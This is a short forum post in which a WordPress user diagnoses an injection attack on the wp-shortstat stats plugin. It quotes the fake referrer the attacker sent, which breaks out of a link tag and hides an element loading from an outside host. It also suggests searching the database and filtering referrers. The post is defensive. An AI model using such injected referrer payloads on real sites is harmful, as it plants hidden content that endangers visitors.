ok, i figured it out
i went into my database and he is sending a fake referrer with this as the url
Code:
http://a"></a>what>we<****** src=http://peewee.6x.to style=display:none></******><won.com
Just open up phpmyadmin and do a search for "******" in the
wp_ss_stats table
and I would suggest coding something into the wp-shortstat.php to not allow the term "******" to be used in referrers. I have my programmer working on it now, will post when he is done